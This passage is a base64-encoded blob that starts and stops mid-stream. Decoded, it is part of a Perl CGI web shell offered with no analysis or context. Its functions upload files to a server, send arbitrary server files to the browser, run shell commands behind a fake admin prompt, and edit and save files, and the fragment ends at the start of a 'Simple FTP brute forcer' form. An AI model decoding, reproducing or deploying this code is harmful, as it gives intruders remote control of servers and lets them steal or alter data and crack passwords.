yb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4